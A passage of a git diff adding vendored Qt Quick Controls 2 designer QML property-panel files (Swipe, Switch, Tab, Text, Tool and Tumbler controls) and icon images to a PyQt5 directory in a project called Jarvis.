b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwipeDelegateSpecifics.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ItemDelegateSection { + width: parent.width + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwipeViewSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwipeViewSpecifics.qml new file mode 100644 index 00000000..02cc900e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwipeViewSpecifics.qml @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("SwipeView") + + SectionLayout { + Label { + text: qsTr("Interactive") + tooltip: qsTr("Whether the view is interactive.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.interactive.valueToString + backendValue: backendValues.interactive + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Orientation") + tooltip: qsTr("Orientation of the view.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.orientation + model: [ "Horizontal", "Vertical" ] + scope: "Qt" + Layout.fillWidth: true + } + } + } + } + + ContainerSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwitchDelegateSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwitchDelegateSpecifics.qml new file mode 100644 index 00000000..f8c0dcc6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwitchDelegateSpecifics.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ItemDelegateSection { + width: parent.width + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwitchSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwitchSpecifics.qml new file mode 100644 index 00000000..6137ad8c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwitchSpecifics.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TabBarSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TabBarSpecifics.qml new file mode 100644 index 00000000..f17e8e9a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TabBarSpecifics.qml @@ -0,0 +1,107 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("TabBar") + + SectionLayout { + Label { + text: qsTr("Position") + tooltip: qsTr("Position of the tabbar.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.position + model: [ "Header", "Footer" ] + scope: "TabBar" + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Content Width") + tooltip: qsTr("Content height used for calculating the total implicit width.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.contentWidth + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Content Height") + tooltip: qsTr("Content height used for calculating the total implicit height.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.contentHeight + Layout.fillWidth: true + } + } + } + } + + ContainerSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TabButtonSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TabButtonSpecifics.qml new file mode 100644 index 00000000..6137ad8c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TabButtonSpecifics.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TextAreaSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TextAreaSpecifics.qml new file mode 100644 index 00000000..f8cf92e8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TextAreaSpecifics.qml @@ -0,0 +1,104 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("TextArea") + + SectionLayout { + Label { + text: qsTr("Placeholder") + tooltip: qsTr("Placeholder text displayed when the editor is empty.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.placeholderText + Layout.fillWidth: true + } + + } + + Label { + text: qsTr("Hover") + tooltip: qsTr("Whether text area accepts hover events.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.hoverEnabled.valueToString + backendValue: backendValues.hoverEnabled + Layout.fillWidth: true + } + } + } + } + + Section { + width: parent.width + caption: qsTr("Placeholder Text Color") + + ColorEditor { + caption: qsTr("Placeholder Text Color") + backendValue: backendValues.placeholderTextColor + supportGradient: false + } + } + + StandardTextSection { + width: parent.width + showIsWrapping: true + showFormatProperty: true + showVerticalAlignment: true + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } + + InsetSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TextFieldSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TextFieldSpecifics.qml new file mode 100644 index 00000000..f95f282c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TextFieldSpecifics.qml @@ -0,0 +1,101 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("TextField") + + SectionLayout { + Label { + text: qsTr("Placeholder") + tooltip: qsTr("Placeholder text displayed when the editor is empty.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.placeholderText + Layout.fillWidth: true + } + + } + + Label { + text: qsTr("Hover") + tooltip: qsTr("Whether text field accepts hover events.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.hoverEnabled.valueToString + backendValue: backendValues.hoverEnabled + Layout.fillWidth: true + } + } + } + } + + Section { + width: parent.width + caption: qsTr("Placeholder Text Color") + + ColorEditor { + caption: qsTr("Placeholder Text Color") + backendValue: backendValues.placeholderTextColor + supportGradient: false + } + } + + StandardTextSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } + + InsetSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ToolBarSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ToolBarSpecifics.qml new file mode 100644 index 00000000..acf02e7b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ToolBarSpecifics.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("ToolBar") + + SectionLayout { + Label { + text: qsTr("Position") + tooltip: qsTr("Position of the toolbar.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.position + model: [ "Header", "Footer" ] + scope: "ToolBar" + Layout.fillWidth: true + } + } + } + } + + PaneSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ToolButtonSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ToolButtonSpecifics.qml new file mode 100644 index 00000000..e094b9df --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ToolButtonSpecifics.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ButtonSection { + width: parent.width + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ToolSeparatorSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ToolSeparatorSpecifics.qml new file mode 100644 index 00000000..d0ebd57c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ToolSeparatorSpecifics.qml @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("ToolSeparator") + + SectionLayout { + Label { + text: qsTr("Orientation") + tooltip: qsTr("The orientation of the separator.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.orientation + model: [ "Horizontal", "Vertical" ] + scope: "Qt" + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TumblerSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TumblerSpecifics.qml new file mode 100644 index 00000000..04507ef6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/TumblerSpecifics.qml @@ -0,0 +1,102 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("Tumbler") + + SectionLayout { + Label { + text: qsTr("Visible Count") + tooltip: qsTr("The count of visible items.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.visibleItemCount + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Current") + tooltip: qsTr("The index of the current item.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.currentIndex + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Wrap") + tooltip: qsTr("Whether the tumbler wrap.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.wrap.valueToString + backendValue: backendValues.wrap + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/busyindicator-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/busyindicator-icon.png new file mode 100644 index 00000000..666d1ed9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/busyindicator-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/busyindicator-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/busyindicator-icon16.png new file mode 100644 index 00000000..5aa57d7f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/busyindicator-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/busyindicator-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/busyindicator-icon@2x.png new file mode 100644 index 00000000..bb2278ff Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/busyindicator-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/button-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/button-icon.png new file mode 100644 index 00000000..c44909f6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/button-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/button-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/button-icon16.png new file mode 100644 index 00000000..5c921deb Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/button-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/button-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/button-icon@2x.png new file mode 100644 index 00000000..f90a1ba7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/button-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/checkbox-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/checkbox-icon.png new file mode 100644 index 00000000..ee669b3a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/checkbox-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/checkbox-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/checkbox-icon16.png new file mode 100644 